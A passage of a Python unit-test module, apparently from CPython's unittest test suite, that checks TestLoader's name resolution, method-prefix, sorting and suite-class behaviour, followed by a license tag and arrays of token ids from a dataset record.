return_wrong loader = unittest.TestLoader() try: suite = loader.loadTestsFromName('return_wrong', m) except TypeError: pass else: self.fail("TestLoader.loadTestsFromName failed to raise TypeError") # "The specifier can refer to modules and packages which have not been # imported; they will be imported as a side-effect" def test_loadTestsFromName__module_not_loaded(self): # We're going to try to load this module as a side-effect, so it # better not be loaded before we try. # module_name = 'unittest.test.dummy' sys.modules.pop(module_name, None) loader = unittest.TestLoader() try: suite = loader.loadTestsFromName(module_name) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), []) # module should now be loaded, thanks to loadTestsFromName() self.assertIn(module_name, sys.modules) finally: if module_name in sys.modules: del sys.modules[module_name] ################################################################ ### Tests for TestLoader.loadTestsFromName() ### Tests for TestLoader.loadTestsFromNames() ################################################################ # "Similar to loadTestsFromName(), but takes a sequence of names rather # than a single name." # # What happens if that sequence of names is empty? def test_loadTestsFromNames__empty_name_list(self): loader = unittest.TestLoader() suite = loader.loadTestsFromNames([]) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), []) # "Similar to loadTestsFromName(), but takes a sequence of names rather # than a single name." # ... # "The method optionally resolves name relative to the given module" # # What happens if that sequence of names is empty? # # XXX Should this raise a ValueError or just return an empty TestSuite? def test_loadTestsFromNames__relative_empty_name_list(self): loader = unittest.TestLoader() suite = loader.loadTestsFromNames([], unittest) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), []) # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # Is ValueError raised in response to an empty name? def test_loadTestsFromNames__empty_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromNames(['']) except ValueError as e: self.assertEqual(str(e), "Empty module name") else: self.fail("TestLoader.loadTestsFromNames failed to raise ValueError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # What happens when presented with an impossible module name? def test_loadTestsFromNames__malformed_name(self): loader = unittest.TestLoader() # XXX Should this raise ValueError or ImportError? try: loader.loadTestsFromNames(['abc () //']) except ValueError: pass except ImportError: pass else: self.fail("TestLoader.loadTestsFromNames failed to raise ValueError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # What happens when no module can be found for the given name? def test_loadTestsFromNames__unknown_module_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromNames(['sdasfasfasdf']) except ImportError as e: self.assertEqual(str(e), "No module named 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromNames failed to raise ImportError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # What happens when the module can be found, but not the attribute? def test_loadTestsFromNames__unknown_attr_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromNames(['unittest.sdasfasfasdf', 'unittest']) except AttributeError as e: self.assertEqual(str(e), "'module' object has no attribute 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromNames failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # ... # "The method optionally resolves name relative to the given module" # # What happens when given an unknown attribute on a specified `module` # argument? def test_loadTestsFromNames__unknown_name_relative_1(self): loader = unittest.TestLoader() try: loader.loadTestsFromNames(['sdasfasfasdf'], unittest) except AttributeError as e: self.assertEqual(str(e), "'module' object has no attribute 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromName failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # ... # "The method optionally resolves name relative to the given module" # # Do unknown attributes (relative to a provided module) still raise an # exception even in the presence of valid attribute names? def test_loadTestsFromNames__unknown_name_relative_2(self): loader = unittest.TestLoader() try: loader.loadTestsFromNames(['TestCase', 'sdasfasfasdf'], unittest) except AttributeError as e: self.assertEqual(str(e), "'module' object has no attribute 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromName failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # ... # "The method optionally resolves name relative to the given module" # # What happens when faced with the empty string? # # XXX This currently raises AttributeError, though ValueError is probably # more appropriate def test_loadTestsFromNames__relative_empty_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromNames([''], unittest) except AttributeError: pass else: self.fail("Failed to raise ValueError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # ... # "The method optionally resolves name relative to the given module" # # What happens when presented with an impossible attribute name? def test_loadTestsFromNames__relative_malformed_name(self): loader = unittest.TestLoader() # XXX Should this raise AttributeError or ValueError? try: loader.loadTestsFromNames(['abc () //'], unittest) except AttributeError: pass except ValueError: pass else: self.fail("TestLoader.loadTestsFromNames failed to raise ValueError") # "The method optionally resolves name relative to the given module" # # Does loadTestsFromNames() make sure the provided `module` is in fact # a module? # # XXX This validation is currently not done. This flexibility should # either be documented or a TypeError should be raised. def test_loadTestsFromNames__relative_not_a_module(self): class MyTestCase(unittest.TestCase): def test(self): pass class NotAModule(object): test_2 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['test_2'], NotAModule) reference = [unittest.TestSuite([MyTestCase('test')])] self.assertEqual(list(suite), reference) # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # Does it raise an exception if the name resolves to an invalid # object? def test_loadTestsFromNames__relative_bad_object(self): m = types.ModuleType('m') m.testcase_1 = object() loader = unittest.TestLoader() try: loader.loadTestsFromNames(['testcase_1'], m) except TypeError: pass else: self.fail("Should have raised TypeError") # "The specifier name is a ``dotted name'' that may resolve ... to # ... a test case class" def test_loadTestsFromNames__relative_TestCase_subclass(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['testcase_1'], m) self.assertIsInstance(suite, loader.suiteClass) expected = loader.suiteClass([MyTestCase('test')]) self.assertEqual(list(suite), [expected]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a TestSuite instance" def test_loadTestsFromNames__relative_TestSuite(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testsuite = unittest.TestSuite([MyTestCase('test')]) loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['testsuite'], m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [m.testsuite]) # "The specifier name is a ``dotted name'' that may resolve ... to ... a # test method within a test case class" def test_loadTestsFromNames__relative_testmethod(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['testcase_1.test'], m) self.assertIsInstance(suite, loader.suiteClass) ref_suite = unittest.TestSuite([MyTestCase('test')]) self.assertEqual(list(suite), [ref_suite]) # "The specifier name is a ``dotted name'' that may resolve ... to ... a # test method within a test case class" # # Does the method gracefully handle names that initially look like they # resolve to "a test method within a test case class" but don't? def test_loadTestsFromNames__relative_invalid_testmethod(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() try: loader.loadTestsFromNames(['testcase_1.testfoo'], m) except AttributeError as e: self.assertEqual(str(e), "type object 'MyTestCase' has no attribute 'testfoo'") else: self.fail("Failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a ... TestSuite instance" def test_loadTestsFromNames__callable__TestSuite(self): m = types.ModuleType('m') testcase_1 = unittest.FunctionTestCase(lambda: None) testcase_2 = unittest.FunctionTestCase(lambda: None) def return_TestSuite(): return unittest.TestSuite([testcase_1, testcase_2]) m.return_TestSuite = return_TestSuite loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['return_TestSuite'], m) self.assertIsInstance(suite, loader.suiteClass) expected = unittest.TestSuite([testcase_1, testcase_2]) self.assertEqual(list(suite), [expected]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a TestCase ... instance" def test_loadTestsFromNames__callable__TestCase_instance(self): m = types.ModuleType('m') testcase_1 = unittest.FunctionTestCase(lambda: None) def return_TestCase(): return testcase_1 m.return_TestCase = return_TestCase loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['return_TestCase'], m) self.assertIsInstance(suite, loader.suiteClass) ref_suite = unittest.TestSuite([testcase_1]) self.assertEqual(list(suite), [ref_suite]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a TestCase or TestSuite instance" # # Are staticmethods handled correctly? def test_loadTestsFromNames__callable__call_staticmethod(self): m = types.ModuleType('m') class Test1(unittest.TestCase): def test(self): pass testcase_1 = Test1('test') class Foo(unittest.TestCase): @staticmethod def foo(): return testcase_1 m.Foo = Foo loader = unittest.TestLoader() suite = loader.loadTestsFromNames(['Foo.foo'], m) self.assertIsInstance(suite, loader.suiteClass) ref_suite = unittest.TestSuite([testcase_1]) self.assertEqual(list(suite), [ref_suite]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a TestCase or TestSuite instance" # # What happens when the callable returns something else? def test_loadTestsFromNames__callable__wrong_type(self): m = types.ModuleType('m') def return_wrong(): return 6 m.return_wrong = return_wrong loader = unittest.TestLoader() try: suite = loader.loadTestsFromNames(['return_wrong'], m) except TypeError: pass else: self.fail("TestLoader.loadTestsFromNames failed to raise TypeError") # "The specifier can refer to modules and packages which have not been # imported; they will be imported as a side-effect" def test_loadTestsFromNames__module_not_loaded(self): # We're going to try to load this module as a side-effect, so it # better not be loaded before we try. # module_name = 'unittest.test.dummy' sys.modules.pop(module_name, None) loader = unittest.TestLoader() try: suite = loader.loadTestsFromNames([module_name]) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [unittest.TestSuite()]) # module should now be loaded, thanks to loadTestsFromName() self.assertIn(module_name, sys.modules) finally: if module_name in sys.modules: del sys.modules[module_name] ################################################################ ### /Tests for TestLoader.loadTestsFromNames() ### Tests for TestLoader.getTestCaseNames() ################################################################ # "Return a sorted sequence of method names found within testCaseClass" # # Test.foobar is defined to make sure getTestCaseNames() respects # loader.testMethodPrefix def test_getTestCaseNames(self): class Test(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foobar(self): pass loader = unittest.TestLoader() self.assertEqual(loader.getTestCaseNames(Test), ['test_1', 'test_2']) # "Return a sorted sequence of method names found within testCaseClass" # # Does getTestCaseNames() behave appropriately if no tests are found? def test_getTestCaseNames__no_tests(self): class Test(unittest.TestCase): def foobar(self): pass loader = unittest.TestLoader() self.assertEqual(loader.getTestCaseNames(Test), []) # "Return a sorted sequence of method names found within testCaseClass" # # Are not-TestCases handled gracefully? # # XXX This should raise a TypeError, not return a list # # XXX It's too late in the 2.5 release cycle to fix this, but it should # probably be revisited for 2.6 def test_getTestCaseNames__not_a_TestCase(self): class BadCase(int): def test_foo(self): pass loader = unittest.TestLoader() names = loader.getTestCaseNames(BadCase) self.assertEqual(names, ['test_foo']) # "Return a sorted sequence of method names found within testCaseClass" # # Make sure inherited names are handled. # # TestP.foobar is defined to make sure getTestCaseNames() respects # loader.testMethodPrefix def test_getTestCaseNames__inheritance(self): class TestP(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foobar(self): pass class TestC(TestP): def test_1(self): pass def test_3(self): pass loader = unittest.TestLoader() names = ['test_1', 'test_2', 'test_3'] self.assertEqual(loader.getTestCaseNames(TestC), names) ################################################################ ### /Tests for TestLoader.getTestCaseNames() ### Tests for TestLoader.testMethodPrefix ################################################################ # "String giving the prefix of method names which will be interpreted as # test methods" # # Implicit in the documentation is that testMethodPrefix is respected by # all loadTestsFrom* methods. def test_testMethodPrefix__loadTestsFromTestCase(self): class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass tests_1 = unittest.TestSuite([Foo('foo_bar')]) tests_2 = unittest.TestSuite([Foo('test_1'), Foo('test_2')]) loader = unittest.TestLoader() loader.testMethodPrefix = 'foo' self.assertEqual(loader.loadTestsFromTestCase(Foo), tests_1) loader.testMethodPrefix = 'test' self.assertEqual(loader.loadTestsFromTestCase(Foo), tests_2) # "String giving the prefix of method names which will be interpreted as # test methods" # # Implicit in the documentation is that testMethodPrefix is respected by # all loadTestsFrom* methods. def test_testMethodPrefix__loadTestsFromModule(self): m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass m.Foo = Foo tests_1 = [unittest.TestSuite([Foo('foo_bar')])] tests_2 = [unittest.TestSuite([Foo('test_1'), Foo('test_2')])] loader = unittest.TestLoader() loader.testMethodPrefix = 'foo' self.assertEqual(list(loader.loadTestsFromModule(m)), tests_1) loader.testMethodPrefix = 'test' self.assertEqual(list(loader.loadTestsFromModule(m)), tests_2) # "String giving the prefix of method names which will be interpreted as # test methods" # # Implicit in the documentation is that testMethodPrefix is respected by # all loadTestsFrom* methods. def test_testMethodPrefix__loadTestsFromName(self): m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass m.Foo = Foo tests_1 = unittest.TestSuite([Foo('foo_bar')]) tests_2 = unittest.TestSuite([Foo('test_1'), Foo('test_2')]) loader = unittest.TestLoader() loader.testMethodPrefix = 'foo' self.assertEqual(loader.loadTestsFromName('Foo', m), tests_1) loader.testMethodPrefix = 'test' self.assertEqual(loader.loadTestsFromName('Foo', m), tests_2) # "String giving the prefix of method names which will be interpreted as # test methods" # # Implicit in the documentation is that testMethodPrefix is respected by # all loadTestsFrom* methods. def test_testMethodPrefix__loadTestsFromNames(self): m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass m.Foo = Foo tests_1 = unittest.TestSuite([unittest.TestSuite([Foo('foo_bar')])]) tests_2 = unittest.TestSuite([Foo('test_1'), Foo('test_2')]) tests_2 = unittest.TestSuite([tests_2]) loader = unittest.TestLoader() loader.testMethodPrefix = 'foo' self.assertEqual(loader.loadTestsFromNames(['Foo'], m), tests_1) loader.testMethodPrefix = 'test' self.assertEqual(loader.loadTestsFromNames(['Foo'], m), tests_2) # "The default value is 'test'" def test_testMethodPrefix__default_value(self): loader = unittest.TestLoader() self.assertEqual(loader.testMethodPrefix, 'test') ################################################################ ### /Tests for TestLoader.testMethodPrefix ### Tests for TestLoader.sortTestMethodsUsing ################################################################ # "Function to be used to compare method names when sorting them in # getTestCaseNames() and all the loadTestsFromX() methods" def test_sortTestMethodsUsing__loadTestsFromTestCase(self): def reversed_cmp(x, y): return -((x > y) - (x < y)) class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass loader = unittest.TestLoader() loader.sortTestMethodsUsing = reversed_cmp tests = loader.suiteClass([Foo('test_2'), Foo('test_1')]) self.assertEqual(loader.loadTestsFromTestCase(Foo), tests) # "Function to be used to compare method names when sorting them in # getTestCaseNames() and all the loadTestsFromX() methods" def test_sortTestMethodsUsing__loadTestsFromModule(self): def reversed_cmp(x, y): return -((x > y) - (x < y)) m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass m.Foo = Foo loader = unittest.TestLoader() loader.sortTestMethodsUsing = reversed_cmp tests = [loader.suiteClass([Foo('test_2'), Foo('test_1')])] self.assertEqual(list(loader.loadTestsFromModule(m)), tests) # "Function to be used to compare method names when sorting them in # getTestCaseNames() and all the loadTestsFromX() methods" def test_sortTestMethodsUsing__loadTestsFromName(self): def reversed_cmp(x, y): return -((x > y) - (x < y)) m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass m.Foo = Foo loader = unittest.TestLoader() loader.sortTestMethodsUsing = reversed_cmp tests = loader.suiteClass([Foo('test_2'), Foo('test_1')]) self.assertEqual(loader.loadTestsFromName('Foo', m), tests) # "Function to be used to compare method names when sorting them in # getTestCaseNames() and all the loadTestsFromX() methods" def test_sortTestMethodsUsing__loadTestsFromNames(self): def reversed_cmp(x, y): return -((x > y) - (x < y)) m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass m.Foo = Foo loader = unittest.TestLoader() loader.sortTestMethodsUsing = reversed_cmp tests = [loader.suiteClass([Foo('test_2'), Foo('test_1')])] self.assertEqual(list(loader.loadTestsFromNames(['Foo'], m)), tests) # "Function to be used to compare method names when sorting them in # getTestCaseNames()" # # Does it actually affect getTestCaseNames()? def test_sortTestMethodsUsing__getTestCaseNames(self): def reversed_cmp(x, y): return -((x > y) - (x < y)) class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass loader = unittest.TestLoader() loader.sortTestMethodsUsing = reversed_cmp test_names = ['test_2', 'test_1'] self.assertEqual(loader.getTestCaseNames(Foo), test_names) # "The default value is the built-in cmp() function" # Since cmp is now defunct, we simply verify that the results # occur in the same order as they would with the default sort. def test_sortTestMethodsUsing__default_value(self): loader = unittest.TestLoader() class Foo(unittest.TestCase): def test_2(self): pass def test_3(self): pass def test_1(self): pass test_names = ['test_2', 'test_3', 'test_1'] self.assertEqual(loader.getTestCaseNames(Foo), sorted(test_names)) # "it can be set to None to disable the sort." # # XXX How is this different from reassigning cmp? Are the tests returned # in a random order or something? This behaviour should die def test_sortTestMethodsUsing__None(self): class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass loader = unittest.TestLoader() loader.sortTestMethodsUsing = None test_names = ['test_2', 'test_1'] self.assertEqual(set(loader.getTestCaseNames(Foo)), set(test_names)) ################################################################ ### /Tests for TestLoader.sortTestMethodsUsing ### Tests for TestLoader.suiteClass ################################################################ # "Callable object that constructs a test suite from a list of tests." def test_suiteClass__loadTestsFromTestCase(self): class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass tests = [Foo('test_1'), Foo('test_2')] loader = unittest.TestLoader() loader.suiteClass = list self.assertEqual(loader.loadTestsFromTestCase(Foo), tests) # It is implicit in the documentation for TestLoader.suiteClass that # all TestLoader.loadTestsFrom* methods respect it. Let's make sure def test_suiteClass__loadTestsFromModule(self): m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass m.Foo = Foo tests = [[Foo('test_1'), Foo('test_2')]] loader = unittest.TestLoader() loader.suiteClass = list self.assertEqual(loader.loadTestsFromModule(m), tests) # It is implicit in the documentation for TestLoader.suiteClass that # all TestLoader.loadTestsFrom* methods respect it. Let's make sure def test_suiteClass__loadTestsFromName(self): m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass m.Foo = Foo tests = [Foo('test_1'), Foo('test_2')] loader = unittest.TestLoader() loader.suiteClass = list self.assertEqual(loader.loadTestsFromName('Foo', m), tests) # It is implicit in the documentation for TestLoader.suiteClass that # all TestLoader.loadTestsFrom* methods respect it. Let's make sure def test_suiteClass__loadTestsFromNames(self): m = types.ModuleType('m') class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass m.Foo = Foo tests = [[Foo('test_1'), Foo('test_2')]] loader = unittest.TestLoader() loader.suiteClass = list self.assertEqual(loader.loadTestsFromNames(['Foo'], m), tests) # "The default value is the TestSuite class" def test_suiteClass__default_value(self): loader = unittest.TestLoader() self.assertTrue(loader.suiteClass is unittest.TestSuite)
agpl-3.0
[ 646, 984, 199, 646, 2943, 421, 199, 646, 2882, 421, 199, 533, 1379, 63, 15824, 8, 2796, 14, 1746, 304, 339, 6754, 6496, 367, 1379, 5455, 14, 26946, 272, 15779, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 347, 511, 63, 26946, 8, 277, 304, 267, 1021, 8024, 8, 2796, 14, 1746, 304, 288, 347, 511, 63, 17, 8, 277, 304, 986, 288, 347, 511, 63, 18, 8, 277, 304, 986, 288, 347, 3925, 63, 1700, 8, 277, 304, 986, 398, 2295, 275, 2882, 14, 10591, 779, 5686, 360, 396, 63, 17, 659, 8024, 360, 396, 63, 18, 2023, 398, 5077, 275, 2882, 14, 15824, 342, 267, 291, 14, 629, 8, 3422, 14, 26946, 8, 5686, 395, 2295, 9, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 327, 272, 327, 4155, 3238, 652, 1630, 314, 2451, 8377, 2755, 340, 949, 2295, 4898, 1911, 272, 347, 511, 63, 26946, 363, 889, 63, 6742, 8, 277, 304, 267, 1021, 8024, 8, 2796, 14, 1746, 304, 288, 347, 3925, 63, 1700, 8, 277, 304, 986, 398, 2701, 63, 5768, 275, 2882, 14, 10591, 342, 398, 5077, 275, 2882, 14, 15824, 342, 267, 291, 14, 629, 8, 3422, 14, 26946, 8, 5686, 395, 2701, 63, 5768, 9, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 327, 272, 327, 14791, 10986, 340, 2248, 11519, 1746, 342, 365, 1627, 376, 909, 272, 327, 626, 5712, 1133, 282, 5516, 402, 7640, 31, 30836, 12, 4052, 10986, 272, 327, 340, 511, 1538, 2543, 365, 282, 5516, 402, 20979, 31, 272, 327, 272, 327, 961, 365, 7923, 367, 22543, 315, 314, 1233, 12, 880, 781, 8034, 1050, 282, 272, 327, 511, 367, 652, 14, 272, 347, 511, 63, 26946, 363, 10591, 63, 6083, 8, 277, 304, 267, 1021, 2832, 619, 27309, 8, 2796, 14, 10591, 304, 288, 986, 398, 5077, 275, 2882, 14, 15824, 342, 267, 862, 26, 288, 5077, 14, 26946, 8, 1763, 619, 27309, 9, 267, 871, 3146, 26, 288, 986, 267, 587, 26, 288, 291, 14, 1633, 360, 11408, 746, 3146, 358, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 327, 272, 327, 4155, 3238, 2248, 11519, 1746, 342, 31055, 1536, 314, 849, 511, 1083, 272, 327, 536, 334, 305, 2013, 701, 7640, 395, 2755, 10617, 314, 1083, 536, 1630, 272, 327, 440, 1336, 314, 849, 1379, 5455, 14, 25008, 4793, 1059, 272, 347, 511, 63, 26946, 363, 885, 63, 765, 63, 354, 8, 277, 304, 267, 1021, 8024, 8, 2796, 14, 1746, 304, 288, 347, 29779, 8, 277, 304, 355, 986, 398, 5077, 275, 2882, 14, 15824, 342, 267, 327, 961, 965, 370, 506, 3055, 367, 314, 511, 370, 17961, 267, 291, 14, 3334, 360, 27850, 1370, 2460, 8, 3422, 14, 25008, 4793, 430, 398, 5241, 275, 5077, 14, 26946, 8, 5686, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 267, 291, 14, 629, 8, 513, 8, 5768, 395, 359, 5686, 360, 27850, 2023, 339, 15779, 272, 6754, 1182, 2925, 367, 1379, 5455, 14, 26946, 339, 6754, 6496, 367, 1379, 5455, 14, 12861, 2377, 272, 15779, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 272, 347, 511, 63, 12861, 2377, 363, 1746, 63, 6083, 8, 277, 304, 267, 333, 275, 2943, 14, 21820, 360, 77, 358, 267, 1021, 4932, 1746, 8, 2796, 14, 1746, 304, 288, 347, 511, 8, 277, 304, 355, 986, 267, 333, 14, 10847, 63, 17, 275, 4932, 1746, 398, 5077, 275, 2882, 14, 15824, 342, 267, 5241, 275, 5077, 14, 12861, 2377, 8, 77, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 398, 1420, 275, 359, 3422, 14, 27216, 779, 5713, 1746, 360, 396, 2023, 61, 267, 291, 14, 629, 8, 513, 8, 5768, 395, 1420, 9, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 272, 327, 272, 327, 14791, 10986, 340, 949, 2295, 787, 1911, 334, 889, 7640, 4454, 5547, 272, 347, 511, 63, 12861, 2377, 363, 889, 63, 1746, 63, 5990, 8, 277, 304, 267, 333, 275, 2943, 14, 21820, 360, 77, 358, 398, 5077, 275, 2882, 14, 15824, 342, 267, 5241, 275, 5077, 14, 12861, 2377, 8, 77, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 267, 291, 14, 629, 8, 513, 8, 5768, 395, 3073, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 272, 327, 272, 327, 14791, 10986, 340, 949, 2295, 787, 1911, 334, 19346, 4454, 12, 1325, 949, 2295, 5547, 272, 347, 511, 63, 12861, 2377, 363, 889, 63, 1746, 63, 2219, 8, 277, 304, 267, 333, 275, 2943, 14, 21820, 360, 77, 358, 267, 1021, 4932, 1746, 8, 2796, 14, 1746, 304, 288, 986, 267, 333, 14, 10847, 63, 17, 275, 4932, 1746, 398, 5077, 275, 2882, 14, 15824, 342, 267, 5241, 275, 5077, 14, 12861, 2377, 8, 77, 9, 267, 291, 14, 6926, 8, 5768, 12, 5077, 14, 27216, 9, 398, 291, 14, 629, 8, 513, 8, 5768, 395, 359, 3422, 14, 27216, 9383, 339, 327, 298, 2765, 1083, 21858, 658, 578, 64, 367, 3992, 7131, 687, 7640, 2, 83, 272, 327, 272, 327, 14791, 10986, 340, 2248, 11519, 2377, 342, 365, 1627, 6020, 1163, 272, 327, 2419, 282, 859, 31, 272, 327, 272, 327, 5787, 13550, 12, 652, 24611, 15988, 14, 961, 20758, 29524, 272, 327, 1077, 1902, 506, 22751, 503, 2248, 11519, 2377, 342, 1077, 272, 327, 746, 282, 3146, 272, 327, 272, 327, 5787, 11002, 877, 13135, 787, 1808, 642, 13942, 14, 2136, 7171, 1050, 282, 511, 367, 652, 272, 347, 511, 63, 12861, 2377, 363, 1397, 63, 65, 63, 578, 8, 277, 304, 267, 1021, 4932, 1746, 8, 2796, 14, 1746, 304, 288, 347, 511, 8, 277, 304, 355, 986, 398, 1021, 2832, 1156, 483, 8 ]
[ 984, 199, 646, 2943, 421, 199, 646, 2882, 421, 199, 533, 1379, 63, 15824, 8, 2796, 14, 1746, 304, 339, 6754, 6496, 367, 1379, 5455, 14, 26946, 272, 15779, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 347, 511, 63, 26946, 8, 277, 304, 267, 1021, 8024, 8, 2796, 14, 1746, 304, 288, 347, 511, 63, 17, 8, 277, 304, 986, 288, 347, 511, 63, 18, 8, 277, 304, 986, 288, 347, 3925, 63, 1700, 8, 277, 304, 986, 398, 2295, 275, 2882, 14, 10591, 779, 5686, 360, 396, 63, 17, 659, 8024, 360, 396, 63, 18, 2023, 398, 5077, 275, 2882, 14, 15824, 342, 267, 291, 14, 629, 8, 3422, 14, 26946, 8, 5686, 395, 2295, 9, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 327, 272, 327, 4155, 3238, 652, 1630, 314, 2451, 8377, 2755, 340, 949, 2295, 4898, 1911, 272, 347, 511, 63, 26946, 363, 889, 63, 6742, 8, 277, 304, 267, 1021, 8024, 8, 2796, 14, 1746, 304, 288, 347, 3925, 63, 1700, 8, 277, 304, 986, 398, 2701, 63, 5768, 275, 2882, 14, 10591, 342, 398, 5077, 275, 2882, 14, 15824, 342, 267, 291, 14, 629, 8, 3422, 14, 26946, 8, 5686, 395, 2701, 63, 5768, 9, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 327, 272, 327, 14791, 10986, 340, 2248, 11519, 1746, 342, 365, 1627, 376, 909, 272, 327, 626, 5712, 1133, 282, 5516, 402, 7640, 31, 30836, 12, 4052, 10986, 272, 327, 340, 511, 1538, 2543, 365, 282, 5516, 402, 20979, 31, 272, 327, 272, 327, 961, 365, 7923, 367, 22543, 315, 314, 1233, 12, 880, 781, 8034, 1050, 282, 272, 327, 511, 367, 652, 14, 272, 347, 511, 63, 26946, 363, 10591, 63, 6083, 8, 277, 304, 267, 1021, 2832, 619, 27309, 8, 2796, 14, 10591, 304, 288, 986, 398, 5077, 275, 2882, 14, 15824, 342, 267, 862, 26, 288, 5077, 14, 26946, 8, 1763, 619, 27309, 9, 267, 871, 3146, 26, 288, 986, 267, 587, 26, 288, 291, 14, 1633, 360, 11408, 746, 3146, 358, 339, 327, 298, 1767, 282, 5241, 402, 1006, 2295, 5560, 10470, 315, 314, 7640, 13, 19588, 272, 327, 1021, 511, 1538, 2543, 2, 272, 327, 272, 327, 4155, 3238, 2248, 11519, 1746, 342, 31055, 1536, 314, 849, 511, 1083, 272, 327, 536, 334, 305, 2013, 701, 7640, 395, 2755, 10617, 314, 1083, 536, 1630, 272, 327, 440, 1336, 314, 849, 1379, 5455, 14, 25008, 4793, 1059, 272, 347, 511, 63, 26946, 363, 885, 63, 